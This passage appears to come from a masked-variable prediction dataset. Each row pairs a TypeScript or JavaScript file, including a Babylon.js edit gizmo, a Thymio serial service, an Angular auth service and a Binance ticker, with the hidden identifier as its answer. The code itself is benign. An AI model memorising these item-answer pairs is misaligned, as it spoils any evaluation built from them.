                if((this.snapR)) {
                    this.snapRZ+=angle;
                    angle = 0;
                    if((Math.abs(this.snapRZ) >= this.rotSnap)) {
                        if((this.snapRZ > 0)) angle = this.rotSnap; else angle = -this.rotSnap;
                        this.snapRZ = 0;
                    }
                }
                if((this.local)) {
                    if((Vector3.Dot(this.localZ, cN) < 0)) angle = -1 * angle;
                    this.meshPicked.rotate(Axis.Z, angle, Space.LOCAL);
                } else this.meshPicked.rotate(new Vector3(0, 0, cN.z), angle, Space.WORLD);
                this.setLocalAxes(this.meshPicked);
            }
            if((this.eulerian)) {
                this.meshPicked.rotation = this.meshPicked.rotationQuaternion.toEulerAngles();
                this.meshPicked.rotationQuaternion = null;
            }
        }

        private getPosOnPickPlane() : Vector3 {
            var pickinfo: PickingInfo = this.scene.pick(this.scene.pointerX, this.scene.pointerY, (mesh) => {
                return mesh == this.pickPlane;
            }, null, this.mainCamera);
            if((pickinfo.hit)) {
                return pickinfo.pickedPoint;
            } else {
                return null;
            }
        }

        private hideBaxis()  {
            this.bXaxis.visibility = 0;
            this.bYaxis.visibility = 0;
            this.bZaxis.visibility = 0;
        }

        private setAxisVisiblity(v: number)  {
            if((this.transEnabled)) {
                this.tEndX.visibility = v;
                this.tEndY.visibility = v;
                this.tEndZ.visibility = v;
            }
            if((this.rotEnabled)) {
                this.rEndX.visibility = v;
                this.rEndY.visibility = v;
                this.rEndZ.visibility = v;
            }
            if((this.scaleEnabled)) {
                this.sEndX.visibility = v;
                this.sEndY.visibility = v;
                this.sEndZ.visibility = v;
                this.sEndAll.visibility = v;
            }
        }

        private transEnabled: boolean = false;

        public isTranslationEnabled() : boolean {
            return this.transEnabled;
        }

        public enableTranslation()  {
            if((this.tX == null)) {
                this.createTransAxes();
                this.tCtl.parent = this.theParent;
            }
            if((!this.transEnabled)) {
                this.tEndX.visibility = 1;
                this.tEndY.visibility = 1;
                this.tEndZ.visibility = 1;
                this.transEnabled = true;
                this.disableRotation();
                this.disableScaling();
            }
        }

        public disableTranslation()  {
            if((this.transEnabled)) {
                this.tEndX.visibility = 0;
                this.tEndY.visibility = 0;
                this.tEndZ.visibility = 0;
                this.transEnabled = false;
            }
        }

        private rotEnabled: boolean = false;

        public isRotationEnabled() : boolean {
            return this.rotEnabled;
        }

        public enableRotation()  {
            if((this.rX == null)) {
                this.createRotAxes();
                this.rCtl.parent = this.theParent;
            }
            if((!this.rotEnabled)) {
                this.rEndX.visibility = 1;
                this.rEndY.visibility = 1;
                this.rEndZ.visibility = 1;
                this.rotEnabled = true;
                this.disableTranslation();
                this.disableScaling();
            }
        }

        public disableRotation()  {
            if((this.rotEnabled)) {
                this.rEndX.visibility = 0;
                this.rEndY.visibility = 0;
                this.rEndZ.visibility = 0;
                this.rotEnabled = false;
            }
        }

        private scaleEnabled: boolean = false;

        public isScaleEnabled() : boolean {
            return this.scaleEnabled;
        }

        public enableScaling()  {
            if((this.sX == null)) {
                this.createScaleAxes();
                this.sCtl.parent = this.theParent;
            }
            if((!this.scaleEnabled)) {
                this.sEndX.visibility = 1;
                this.sEndY.visibility = 1;
                this.sEndZ.visibility = 1;
                this.sEndAll.visibility = 1;
                this.scaleEnabled = true;
                this.disableTranslation();
                this.disableRotation();
            }
        }

        public disableScaling()  {
            if((this.scaleEnabled)) {
                this.sEndX.visibility = 0;
                this.sEndY.visibility = 0;
                this.sEndZ.visibility = 0;
                this.sEndAll.visibility = 0;
                this.scaleEnabled = false;
            }
        }

        private bXaxis: LinesMesh;

        private bYaxis: LinesMesh;

        private bZaxis: LinesMesh;

        private xaxis: LinesMesh;

        private yaxis: LinesMesh;

        private zaxis: LinesMesh;

        private guideCtl: Mesh;

        private createGuideAxes()  {
            var l: number = this.axesLen * this.axesScale;
            this.guideCtl = new Mesh(""guideCtl"", this.scene);
            this.bXaxis = Mesh.CreateLines(""xAxis"", [new Vector3(-100, 0, 0), new Vector3(100, 0, 0)], this.scene);
            this.bYaxis = Mesh.CreateLines(""yAxis"", [new Vector3(0, -100, 0), new Vector3(0, 100, 0)], this.scene);
            this.bZaxis = Mesh.CreateLines(""zAxis"", [new Vector3(0, 0, -100), new Vector3(0, 0, 100)], this.scene);
            this.bXaxis.parent = this.guideCtl;
            this.bYaxis.parent = this.guideCtl;
            this.bZaxis.parent = this.guideCtl;
            this.bXaxis.color = Color3.Red();
            this.bYaxis.color = Color3.Green();
            this.bZaxis.color = Color3.Blue();
            this.bXaxis.renderingGroupId = 1;
            this.bYaxis.renderingGroupId = 1;
            this.bZaxis.renderingGroupId = 1;
            this.hideBaxis();
            this.xaxis = Mesh.CreateLines(""xAxis"", [new Vector3(0, 0, 0), new Vector3(l, 0, 0)], this.scene);
            this.yaxis = Mesh.CreateLines(""yAxis"", [new Vector3(0, 0, 0), new Vector3(0, l, 0)], this.scene);
            this.zaxis = Mesh.CreateLines(""zAxis"", [new Vector3(0, 0, 0), new Vector3(0, 0, l)], this.scene);
            this.xaxis.parent = this.guideCtl;
            this.yaxis.parent = this.guideCtl;
            this.zaxis.parent = this.guideCtl;
            this.xaxis.color = Color3.Red();
            this.yaxis.color = Color3.Green();
            this.zaxis.color = Color3.Blue();
            this.xaxis.renderingGroupId = 2;
            this.yaxis.renderingGroupId = 2;
            this.zaxis.renderingGroupId = 2;
        }

        private pickPlane: Mesh;

        private createPickPlane()  {
            this.pickPlane = Mesh.CreatePlane(""axisPlane"", 200, this.scene);
            this.pickPlane.isPickable = false;
            this.pickPlane.visibility = 0;
            this.pickPlane.billboardMode = Mesh.BILLBOARDMODE_ALL;
            this.pickPlane.renderingGroupId = 1;
        }

        private tCtl: Mesh;

        private tX: Mesh;

        private tY: Mesh;

        private tZ: Mesh;

        private tEndX: Mesh;

        private tEndY: Mesh;

        private tEndZ: Mesh;

        private createTransAxes()  {
            var r: number = 0.04;
            var l: number = this.axesLen * this.axesScale;
            this.tCtl = new Mesh(""tarnsCtl"", this.scene);
            this.tX = this.extrudeBox(r / 2, l);
            this.tX.name = ""X"";
            this.tY = this.tX.clone(""Y"");
            this.tZ = this.tX.clone(""Z"");
            this.tX.material = this.redMat;
            this.tY.material = this.greenMat;
            this.tZ.material = this.blueMat;
            this.tX.parent = this.tCtl;
            this.tY.parent = this.tCtl;
            this.tZ.parent = this.tCtl;
            this.tX.rotation.y = 1.57;
            this.tY.rotation.x-=1.57;
            this.tX.visibility = 0;
            this.tY.visibility = 0;
            this.tZ.visibility = 0;
            this.tX.renderingGroupId = 1;
            this.tY.renderingGroupId = 1;
            this.tZ.renderingGroupId = 1;
            this.tX.isPickable = false;
            this.tY.isPickable = false;
            this.tZ.isPickable = false;
            var cl: number = l * this.axesScale / 4;
            var cr: number = r * this.axesScale;
            this.tEndX = Mesh.CreateCylinder(""tEndX"", cl, 0, cr, 6, 1, this.scene);
            this.tEndY = this.tEndX.clone(""tEndY"");
            this.tEndZ = this.tEndX.clone(""tEndZ"");
            this.tEndX.rotation.x = 1.57;
            this.tEndY.rotation.x = 1.57;
            this.tEndZ.rotation.x = 1.57;
            this.tEndX.parent = this.tX;
            this.tEndY.parent = this.tY;
            this.tEndZ.parent = this.tZ;
            this.tEndX.position.z = l - cl / 2;
            this.tEndY.position.z = l - cl / 2;
            this.tEndZ.position.z = l - cl / 2;
            this.tEndX.material = this.redMat;
            this.tEndY.material = this.greenMat;
            this.tEndZ.material = this.blueMat;
            this.tEndX.renderingGroupId = 1;
            this.tEndY.renderingGroupId = 1;
            this.tEndZ.renderingGroupId = 1;
            this.tEndX.isPickable = false;
            this.tEndY.isPickable = false;
            this.tEndZ.isPickable = false;
        }

        private rCtl: Mesh;

        private rX: Mesh;

        private rY: Mesh;

        private rZ: Mesh;

        private rEndX: LinesMesh;

        private rEndY: LinesMesh;

        private rEndZ: LinesMesh;

        private createRotAxes()  {
            var r: number = 0.04;
            var d: number = this.axesLen * this.axesScale * 2;
            this.rCtl = new Mesh(""rotCtl"", this.scene);
            this.rX = Mesh.CreateTorus(""X"", d, r, 30, this.scene);
            this.rY = this.rX.clone(""Y"");
            this.rZ = this.rX.clone(""Z"");
            this.rX.material = this.redMat;
            this.rY.material = this.greenMat;
            this.rZ.material = this.blueMat;
            this.rX.parent = this.rCtl;
            this.rY.parent = this.rCtl;
            this.rZ.parent = this.rCtl;
            this.rX.rotation.z-=1.57;
            this.rZ.rotation.x = 1.57;
            this.rX.visibility = 0;
            this.rY.visibility = 0;
            this.rZ.visibility = 0;
            this.rX.renderingGroupId = 1;
            this.rY.renderingGroupId = 1;
            this.rZ.renderingGroupId = 1;
            this.rX.isPickable = false;
            this.rY.isPickable = false;
            this.rZ.isPickable = false;
            var cl: number = d;
            this.rEndX = this.createCircle(cl / 2);
            this.rEndY = this.rEndX.clone("""");
            this.rEndZ = this.rEndX.clone("""");
            this.rEndX.parent = this.rX;
            this.rEndY.parent = this.rY;
            this.rEndZ.parent = this.rZ;
            this.rEndX.rotation.x = 1.57;
            this.rEndY.rotation.x = 1.57;
            this.rEndZ.rotation.x = 1.57;
            this.rEndX.color = Color3.Red();
            this.rEndY.color = Color3.Green();
            this.rEndZ.color = Color3.Blue();
            this.rEndX.renderingGroupId = 1;
            this.rEndY.renderingGroupId = 1;
            this.rEndZ.renderingGroupId = 1;
            this.rEndX.isPickable = false;
            this.rEndY.isPickable = false;
            this.rEndZ.isPickable = false;
        }

        private extrudeBox(w: number, l: number) : Mesh {
            var shape: Vector3[] = [new Vector3(w, w, 0), new Vector3(-w, w, 0), new Vector3(-w, -w, 0), new Vector3(w, -w, 0), new Vector3(w, w, 0)];
            var path: Vector3[] = [new Vector3(0, 0, 0), new Vector3(0, 0, l)];
            var box: Mesh = Mesh.ExtrudeShape("""", shape, path, 1, 0, 2, this.scene);
            return box;
        }

        private createCircle(r: number) : LinesMesh {
            var points: Vector3[] = [];
            var x: number;
            var y: number;
            var a: number = 3.14 / 180;
            var p: number = 0;
            for(var i: number = 0; i <= 360; i = i + 10) {
                x = r * Math.cos(i * a);
                if((i == 90)) y = r; else if((i == 270)) y = -r; else y = r * Math.sin(i * a);
                points[p] = new Vector3(x, y, 0);
                p++;
            }
            var circle: LinesMesh = Mesh.CreateLines("""", points, this.scene);
            return circle;
        }

        private sCtl: Mesh;

        private sX: Mesh;

        private sY: Mesh;

        private sZ: Mesh;

        private sAll: Mesh;

        private sEndX: Mesh;

        private sEndY: Mesh;

        private sEndZ: Mesh;

        private sEndAll: Mesh;

        private createScaleAxes()  {
            var r: number = 0.04;
            var l: number = this.axesLen * this.axesScale;
            this.sCtl = new Mesh(""sCtl"", this.scene);
            this.sAll = Mesh.CreateBox(""ALL"", r * 2, this.scene);
            this.sX = this.extrudeBox(r / 2, l);
            this.sX.name = ""X"";
            this.sY = this.sX.clone(""Y"");
            this.sZ = this.sX.clone(""Z"");
            this.sX.material = this.redMat;
            this.sY.material = this.greenMat;
            this.sZ.material = this.blueMat;
            this.sAll.material = this.yellowMat;
            this.sX.parent = this.sCtl;
            this.sY.parent = this.sCtl;
            this.sZ.parent = this.sCtl;
            this.sAll.parent = this.sCtl;
            this.sX.rotation.y = 1.57;
            this.sY.rotation.x-=1.57;
            this.sX.visibility = 0;
            this.sY.visibility = 0;
            this.sZ.visibility = 0;
            this.sAll.visibility = 0;
            this.sX.renderingGroupId = 1;
            this.sY.renderingGroupId = 1;
            this.sZ.renderingGroupId = 1;
            this.sAll.renderingGroupId = 1;
            this.sX.isPickable = false;
            this.sY.isPickable = false;
            this.sZ.isPickable = false;
            this.sAll.isPickable = false;
            var cr: number = r * this.axesScale;
            this.sEndX = Mesh.CreateBox("""", cr, this.scene);
            this.sEndY = this.sEndX.clone("""");
            this.sEndZ = this.sEndX.clone("""");
            this.sEndAll = this.sEndX.clone("""");
            this.sEndX.parent = this.sX;
            this.sEndY.parent = this.sY;
            this.sEndZ.parent = this.sZ;
            this.sEndAll.parent = this.sAll;
            this.sEndX.position.z = l - cr / 2;
            this.sEndY.position.z = l - cr / 2;
            this.sEndZ.position.z = l - cr / 2;
            this.sEndX.material = this.redMat;
            this.sEndY.material = this.greenMat;
            this.sEndZ.material = this.blueMat;
            this.sEndAll.material = this.yellowMat;
            this.sEndX.renderingGroupId = 1;
            this.sEndY.renderingGroupId = 1;
            this.sEndZ.renderingGroupId = 1;
            this.sEndAll.renderingGroupId = 1;
            this.sEndX.isPickable = false;
            this.sEndY.isPickable = false;
            this.sEndZ.isPickable = false;
            this.sEndAll.isPickable = false;
        }

        private localX: Vector3;

        private localY: Vector3;

        private localZ: Vector3;

        private localRot: Vector3;

        private setLocalAxes(mesh: Mesh)  {
            var  [MASK] : Matrix = mesh.getWorldMatrix();
            var pos: Vector3 = mesh.absolutePosition;
            this.localX = Vector3.TransformCoordinates(Axis.X,  [MASK] ).subtract(pos);
            this.localY = Vector3.TransformCoordinates(Axis.Y,  [MASK] ).subtract(pos);
            this.localZ = Vector3.TransformCoordinates(Axis.Z,  [MASK] ).subtract(pos);
            this.localRot = Vector3.RotationFromAxis(this.localX, this.localY, this.localZ);
            if((this.local)) this.theParent.rotation.copyFrom(this.localRot);
        }

        public setLocal(l: boolean)  {
            if((this.local == l)) return;
            this.local = l;
            if((this.local)) this.theParent.rotation.copyFrom(this.localRot); else this.theParent.rotation.copyFrom(Vector3.Zero());
        }

        public isLocal() : boolean {
            return this.local;
        }

        public setTransSnap(s: boolean)  {
            this.snapT = s;
        }

        public setRotSnap(s: boolean)  {
            this.snapR = s;
        }

        public setTransSnapValue(t: number)  {
            this.transSnap = t;
        }

        public setRotSnapValue(r: number)  {
            this.rotSnap = r;
        }

        private setAxesScale()  {
            var distFromCamera: number = 2;
            var toParent: Vector3 = this.theParent.position.subtract(this.mainCamera.position);
            var cameraNormal: Vector3 = Vector3.TransformNormal(Axis.Z, this.mainCamera.getWorldMatrix());
            var parentOnNormal: number = Vector3.Dot(toParent, cameraNormal) / cameraNormal.length();
            var s: number = parentOnNormal / distFromCamera;
            var scale: Vector3 = new Vector3(s, s, s);
            this.theParent.scaling = scale;
        }

        public static getAngle(p1: Vector3, p2: Vector3, p: Vector3, cN: Vector3) : number {
            var v1: Vector3 = p1.subtract(p);
            var v2: Vector3 = p2.subtract(p);
            var n: Vector3 = Vector3.Cross(v1, v2);
            var angle: number = Math.asin(n.length() / (v1.length() * v2.length()));
            if((Vector3.Dot(n, cN) < 0)) {
                angle = -1 * angle;
            }
            return angle;
        }

        private createMaterials(scene: Scene)  {
            this.redMat = EditControl.getStandardMaterial(""redMat"", Color3.Red(), scene);
            this.greenMat = EditControl.getStandardMaterial(""greenMat"", Color3.Green(), scene);
            this.blueMat = EditControl.getStandardMaterial(""blueMat"", Color3.Blue(), scene);
            this.whiteMat = EditControl.getStandardMaterial(""whiteMat"", Color3.White(), scene);
            this.yellowMat = EditControl.getStandardMaterial(""whiteMat"", Color3.Yellow(), scene);
        }

        private disposeMaterials()  {
            this.redMat.dispose();
            this.greenMat.dispose();
            this.blueMat.dispose();
            this.whiteMat.dispose();
            this.yellowMat.dispose();
        }

        private static getStandardMaterial(name: string, col: Color3, scene: Scene) : StandardMaterial {
            var mat: StandardMaterial = new StandardMaterial(name, scene);
            mat.emissiveColor = col;
            mat.diffuseColor = Color3.Black();
            mat.specularColor = Color3.Black();
            return mat;
        }
    }

    export class ActHist {
        private mesh: AbstractMesh;

        private lastMax: number = 10;

        private acts: Array<Act> = new Array<Act>();

        private last: number = -1;

        private current: number = -1;

        public constructor(mesh: AbstractMesh, capacity: number)  {
            this.mesh = mesh;
            this.lastMax = capacity - 1;
            if((mesh.rotationQuaternion == null)) {
                if((mesh.rotation != null)) {
                    mesh.rotationQuaternion = Quaternion.RotationYawPitchRoll(mesh.rotation.y, mesh.rotation.x, mesh.rotation.z);
                }
            }
            this.add();
        }

        public setCapacity(c: number)  {
            if((c == 0)) {
                console.error(""capacity should be more than zero"");
                return;
            }
            this.lastMax = c - 1;
            this.last = -1;
            this.current = -1;
            this.acts = new Array<Act>();
            this.add();
        }

        public add()  {
            var act: Act = new Act(this.mesh);
            if((this.current < this.last)) {
                this.acts.splice(this.current + 1);
                this.last = this.current;
            }
            if((this.last == this.lastMax)) {
                this.acts.shift();
                this.acts.push(act);
            } else {
                this.acts.push(act);
                this.last++;
                this.current++;
            }
        }

        public undo()  {
            if((this.current > 0)) {
                this.current--;
                (<Act>this.acts[this.current]).perform(this.mesh);
            }
        }

        public redo()  {
            if((this.current < this.last)) {
                this.current++;
                (<Act>this.acts[this.current]).perform(this.mesh);
            }
        }
    }

    export class Act {
        private p: Vector3;

        private r: Quaternion;

        private s: Vector3;

        public constructor(mesh: AbstractMesh)  {
            this.p = mesh.position.clone();
            this.r = mesh.rotationQuaternion.clone();
            this.s = mesh.scaling.clone();
        }

        public perform(mesh: AbstractMesh)  {
            mesh.position = this.p.clone();
            mesh.rotationQuaternion = this.r.clone();
            mesh.scaling = this.s.clone();
        }
    }
}
",meshMatrix
839,"///<reference path=""thymio2.d.ts"" />

var thymio2 = angular.module('thymio2', []);

thymio2.factory('ThymioService', ['$rootScope', '$log', '$q', function($rootScope, $log, $q) {
	var self = this;
	var devices;

	function refreshDevices() {
		chrome.serial.getDevices(function(ports) {
			$rootScope.$apply(function() {
				devices = ports;
			});
		});
	}

	chrome.usb.onDeviceAdded.addListener(function(device) {
		refreshDevices();
	});

	chrome.usb.onDeviceRemoved.addListener(function(device) {
		refreshDevices();
	});

	refreshDevices();

	return {
		portList: function() {
			return devices;
		},
		connect: function(port) {
			$log.debug(""Connect to "" + port);

			chrome.serial.onReceive.addListener(function( [MASK] ) {
				$log.debug(""Message received : "" +  [MASK] .data.byteLength + "" bytes"");
				var x = new Uint8Array( [MASK] .data);
				$log.debug("">"" + x[0]);
			});

			return $q(function(resolve, reject) {
				chrome.serial.connect(port, { 'bitrate': 115200 }, function(connectionInfo) {
					if (chrome.runtime.lastError !== undefined) {
						reject(chrome.runtime.lastError.message)
					} else if (connectionInfo !== undefined) {
						$log.debug(""Connected to "" + JSON.stringify(connectionInfo));
						resolve(connectionInfo)
					} else {
						reject(""undefined error"")
					}
				})	
			});
		},

		getDescription: function(connection) {
			var buffer = new ArrayBuffer(8);
			var dv = new DataView(buffer);
			dv.setInt16(0, 2, true); // len
			dv.setInt16(2, 0, true); // source
			dv.setInt16(4, 0xA000, true); // type
			dv.setInt16(6, 4, true); // version
			console.debug(""Sending message"")
			return connection.then(
				function(connection) {
					return $q(function(resolve, reject) {
						chrome.serial.send(connection.connectionId, buffer, function(sendInfo) {
							if (chrome.runtime.lastError !== undefined) {
								reject(chrome.runtime.lastError.message)
							} else if (sendInfo !== undefined) {
								$log.debug(""Message sent"");
								resolve(sendInfo);
							} else {
								reject(""undefined error"")
							}
						});
					});
				},
				function(reason) { 
					return $q.reject(reason);
				}
			);
		}
	}
}]);

thymio2.filter('devname', [function() {
	return function(input) {
		if (input.displayName) {
			return input.displayName + ' (' + input.path + ')';
		} else {
			return input.path;
		}
	}
}]);
",info
840,"import { Injectable } from '@angular/core';
import { HttpClient } from '@angular/common/http';
 
@Injectable({
  providedIn: 'root'
})
export class AuthService {

  private api:string = ""http://localhost:8000/api/"";

  constructor(private http: HttpClient) { }

  postRegister(Credenciales: Object){
    return this.http.post<any>(`${this.api}register`, Credenciales)
  }


  postLogin(Credenciales: Object){
    return this.http.post<any>(`${this.api}login`, Credenciales)
  }

  obtenerToken():string{
    return localStorage.getItem('token');
  }

  obtenerUsuario(){
    let username = localStorage.getItem('username');
    let rol = localStorage.getItem('rol');
    return {
      user: username,
      role: rol
    };
  }

  estaLogeado():boolean{
    let  [MASK]  = this.obtenerToken();
    if(! [MASK] ){
      return false;
    }
    return true;
  }
}
",tokenId
841,"import { CryptoPrice } from '../types/crypto';

export class BinanceService {
  private static ws: WebSocket | null = null;
  private static subscribers: Map<string, (data: CryptoPrice) => void> = new Map();

  static subscribe( [MASK] : string[], callback: (data: CryptoPrice) => void) {
    const streams =  [MASK] .map(symbol => `${symbol.toLowerCase()}@ticker`).join('/');
    const wsUrl = `wss://stream.binance.com:9443/ws/${streams}`;

    if (!this.ws || this.ws.readyState !== WebSocket.OPEN) {
      this.ws = new WebSocket(wsUrl);
      
      this.ws.onmessage = (event) => {
        const data = JSON.parse(event.data);
        const price: CryptoPrice = {
          symbol: data.s,
          price: data.c,
          priceChange: data.p,
          priceChangePercent: data.P,
          high24h: data.h,
          low24h: data.l,
        };
        
        this.subscribers.forEach(cb => cb(price));
      };
    }

    const id = Math.random().toString(36);
    this.subscribers.set(id, callback);

    return () => {
      this.subscribers.delete(id);
      if (this.subscribers.size === 0 && this.ws) {
        this.ws.close();
        this.ws = null;
      }
    };
  }
}
",symbols
842,"export abstract class Random {
  private static HEX_ALPHA = ""0123456789abcdef"";
  /** Returns a pseudorandom number between 0.0 and 1.0. */
  abstract nextFloat(): number;

  nextInt(min: number,  [MASK] : number): number {
    return Math.floor(this.nextFloat() * ( [MASK]  - min + 1)) + min;
  }

  nextHex(len = 7): string {
    let result = """";
    for (let i = 0; i < len; i++) {
      result += Random.HEX_ALPHA.charAt(Math.floor(this.nextFloat() * 16));
    }
    return result;
  }
}

// From https://stackoverflow.com/a/47593316/95725
export class SplitMix32 extends Random {
  private a: number;

  constructor(seed: number) {
    super();
    this.a = seed;
  }

  nextFloat(): number {
    let a = this.a | 0;
    a = (a + 0x9e3779b9) | 0;
    let t = a ^ (a >>> 16);
    t = Math.imul(t, 0x21f0aaad);
    t = t ^ (t >>> 15);
    t = Math.imul(t, 0x735a2d97);
    this.a = a;
    return ((t = t ^ (t >>> 15)) >>> 0) / 4294967296;
  }
}

// From https://stackoverflow.com/a/47593316/95725
export function hash128(str: string): number[] {
  let h1 = 1779033703,
    h2 = 3144134277,
    h3 = 1013904242,
    h4 = 2773480762;
  for (let i = 0, k; i < str.length; i++) {
    k = str.charCodeAt(i);
    h1 = h2 ^ Math.imul(h1 ^ k, 597399067);
    h2 = h3 ^ Math.imul(h2 ^ k, 2869860233);
    h3 = h4 ^ Math.imul(h3 ^ k, 951274213);
    h4 = h1 ^ Math.imul(h4 ^ k, 2716044179);
  }
  h1 = Math.imul(h3 ^ (h1 >>> 18), 597399067);
  h2 = Math.imul(h4 ^ (h2 >>> 22), 2869860233);
  h3 = Math.imul(h1 ^ (h3 >>> 17), 951274213);
  h4 = Math.imul(h2 ^ (h4 >>> 19), 2716044179);
  h1 ^= h2 ^ h3 ^ h4;
  h2 ^= h1;
  h3 ^= h1;
  h4 ^= h1;
  return [h1 >>> 0, h2 >>> 0, h3 >>> 0, h4 >>> 0];
}

export function hash32(str: string): number {
  let h1 = 1779033703,
    h2 = 3144134277,
    h3 = 1013904242,
    h4 = 2773480762;
  for (let i = 0, k; i < str.length; i++) {
    k = str.charCodeAt(i);
    h1 = h2 ^ Math.imul(h1 ^ k, 597399067);
    h2 = h3 ^ Math.imul(h2 ^ k, 2869860233);
    h3 = h4 ^ Math.imul(h3 ^ k, 951274213);
    h4 = h1 ^ Math.imul(h4 ^ k, 2716044179);
  }
  h1 = Math.imul(h3 ^ (h1 >>> 18), 597399067);
  h2 = Math.imul(h4 ^ (h2 >>> 22), 2869860233);
  h3 = Math.imul(h1 ^ (h3 >>> 17), 951274213);
  h4 = Math.imul(h2 ^ (h4 >>> 19), 2716044179);
  h1 ^= h2 ^ h3 ^ h4;
  return h1;
}

// From https://stackoverflow.com/a/47593316/95725
export function splitmix32(seed: number) {
  let a = seed;
  return function () {
    a |= 0;
    a = (a + 0x9e3779b9) | 0;
    let t = a ^ (a >>> 16);
    t = Math.imul(t, 0x21f0aaad);
    t = t ^ (t >>> 15);
    t = Math.imul(t, 0x735a2d97);
    return ((t = t ^ (t >>> 15)) >>> 0) / 4294967296;
  };
}
",max
843,"import {
    GestureHandlerStateEvent,
    GestureHandlerTouchEvent,
    GestureState,
    GestureStateEventData,
    GestureTouchEventData,
    HandlerType,
    Manager,
    PanGestureHandler,
    install as installGestures
} from '@nativescript-community/gesturehandler';
import { Animation, AnimationDefinition, Application, CSSType, Color, CoreTypes, EventData, GridLayout, Property, Utils, View, booleanConverter } from '@nativescript/core';
installGestures(false);
const OPEN_DURATION = 200;
const CLOSE_DURATION = 200;
export const PAN_GESTURE_TAG = 12431;
const DEFAULT_TRIGGER_WIDTH = 20;
const DEFAULT_TRIGGER_HEIGHT = 20;

function transformAnimationValues(values) {
    values.translate = { x: values.translateX || 0, y: values.translateY || 0 };
    values.scale = { x: values.scaleX || 1, y: values.scaleY || 1 };
    delete values.translateX;
    delete values.translateY;
    delete values.scaleX;
    delete values.scaleY;
    return values;
}

export type Side = 'left' | 'right';
export type VerticalSide = 'bottom' | 'top';
export type Mode = 'under' | 'slide';
export interface DrawerEventData extends EventData {
    side: Side;
    duration?: number;
}

export const leftDrawerContentProperty = new Property<Drawer, View>({
    name: 'leftDrawer',
    defaultValue: undefined,
    valueChanged: (target, oldValue, newValue) => target._onDrawerContentChanged('left', oldValue, newValue)
});
export const rightDrawerContentProperty = new Property<Drawer, View>({
    name: 'rightDrawer',
    defaultValue: undefined,
    valueChanged: (target, oldValue, newValue) => target._onDrawerContentChanged('right', oldValue, newValue)
});
export const topDrawerContentProperty = new Property<Drawer, View>({
    name: 'topDrawer',
    defaultValue: undefined,
    valueChanged: (target, oldValue, newValue) => target._onDrawerContentChanged('top', oldValue, newValue)
});
export const bottomDrawerContentProperty = new Property<Drawer, View>({
    name: 'bottomDrawer',
    defaultValue: undefined,
    valueChanged: (target, oldValue, newValue) => target._onDrawerContentChanged('bottom', oldValue, newValue)
});
export const gestureEnabledProperty = new Property<Drawer, boolean>({
    name: 'gestureEnabled',
    defaultValue: true,
    valueConverter: booleanConverter
});
export const backdropColorProperty = new Property<Drawer, Color>({
    name: 'backdropColor',
    valueConverter: (c) => (c ? new Color(c) : null)
});
export const backdropPropertiesProperty = new Property<Drawer, Object>({
    name: 'backdropProperties'
});
export const leftDrawerModeProperty = new Property<Drawer, Mode>({
    name: 'leftDrawerMode'
});
export const rightDrawerModeProperty = new Property<Drawer, Mode>({
    name: 'rightDrawerMode'
});
export const topDrawerModeProperty = new Property<Drawer, Mode>({
    name: 'topDrawerMode'
});
export const bottomDrawerModeProperty = new Property<Drawer, Mode>({
    name: 'bottomDrawerMode'
});
export const translationFunctionProperty = new Property<Drawer, TranslationFunctionType>({
    name: 'translationFunction'
});
export const animationFunctionProperty = new Property<Drawer, AnimationFunctionType>({
    name: 'animationFunction'
});
export const backDropEnabledProperty = new Property<Drawer, boolean>({
    defaultValue: true,
    valueConverter: booleanConverter,
    name: 'backDropEnabled'
});

export const startingSideProperty = new Property<Drawer, Side | VerticalSide | 'none'>({
    name: 'startingSide',
    defaultValue: null
});
export const gestureHandlerOptionsProperty = new Property({
    name: 'gestureHandlerOptions'
});

const SIDES = ['left', 'right', 'top', 'bottom'];

export interface TrData {
    [k: string]: AnimationDefinition;
    leftDrawer?: AnimationDefinition;
    rightDrawer?: AnimationDefinition;
    bottomDrawer?: AnimationDefinition;
    topDrawer?: AnimationDefinition;
    backDrop?: AnimationDefinition;
    mainContent?: AnimationDefinition;
}
export type TranslationFunctionType = (side: Side | VerticalSide, width: number, value: number, delta: number, progress: number, drawer: Drawer) => TrData;
export type AnimationFunctionType = (side: Side | VerticalSide, duration: number, trData: TrData, animationParams: AnimationDefinition[], drawer: Drawer) => Promise<void>;

@CSSType('Drawer')
export class Drawer extends GridLayout {
    public leftDrawer?: View;
    public rightDrawer?: View;
    public bottomDrawer?: View;
    public topDrawer?: View;
    public mainContent: View;
    public backDrop: View;

    public leftDrawerMode;
    public rightDrawerMode;
    public bottomDrawerMode;
    public topDrawerMode;
    public gestureTag = PAN_GESTURE_TAG;
    public gestureMinDist = 10;
    public gestureHandlerOptions;
    public waitFor = [];
    public simultaneousHandlers = [];
    public shouldStartSheetDragging?: (side: Side | VerticalSide) => boolean;
    public shouldPan?: (side: Side | VerticalSide) => boolean;
    public leftSwipeDistance = 40;
    public rightSwipeDistance = 40;
    public bottomSwipeDistance = 40;
    public topSwipeDistance = 40;
    public backdropColor = new Color('rgba(0, 0, 0, 0.7)');
    public backdropProperties = {};
    public leftOpenedDrawerAllowDraging = true;
    public rightOpenedDrawerAllowDraging = true;
    public bottomOpenedDrawerAllowDraging = true;
    public topOpenedDrawerAllowDraging = true;
    public leftClosedDrawerAllowDraging = true;
    public rightClosedDrawerAllowDraging = true;
    public bottomClosedDrawerAllowDraging = true;
    public topClosedDrawerAllowDraging = true;
    public panGestureHandler: PanGestureHandler;
    public gestureEnabled = true;
    public backdropTapGestureEnabled = true;
    public startingSide: Side | VerticalSide;
    public openAnimationDuration = OPEN_DURATION;
    public closeAnimationDuration = CLOSE_DURATION;

    private mIsPanning = false;
    private mIsAnimating = false;
    private mPrevDeltaX = 0;
    private mPrevDeltaY = 0;
    private mViewWidth: { [k in Side]: number } = { left: undefined, right: undefined };
    private mViewHeight: { [k in VerticalSide]: number } = { bottom: undefined, top: undefined };
    private mTranslationX: { [k in Side]: number } = { left: 0, right: 0 };
    private mTranslationY: { [k in VerticalSide]: number } = { bottom: 0, top: 0 };
    private mShowingSide: Side | VerticalSide = null;
    // private mNeedToSetSide: Side | VerticalSide;
    private mModes: Partial<{ [k in Side | VerticalSide]: Mode }> = {};

    translationFunction?: TranslationFunctionType;

    animationFunction?: AnimationFunctionType;
    backDropEnabled: boolean = true;

    constructor() {
        super();
        this.isPassThroughParentEnabled = true;
    }
    _onBackDropEnabledValueChanged() {
        if (this.backDropEnabled && !this.backDrop) {
            this.backDrop = new GridLayout();
            this.backDrop.ignoreTouchAnimation = true;
            this.backDrop.backgroundColor = this.backdropColor;
            Object.assign(this.backDrop, this.backdropProperties);
            this.backDrop.opacity = 0;
            this.backDrop.visibility = 'hidden';

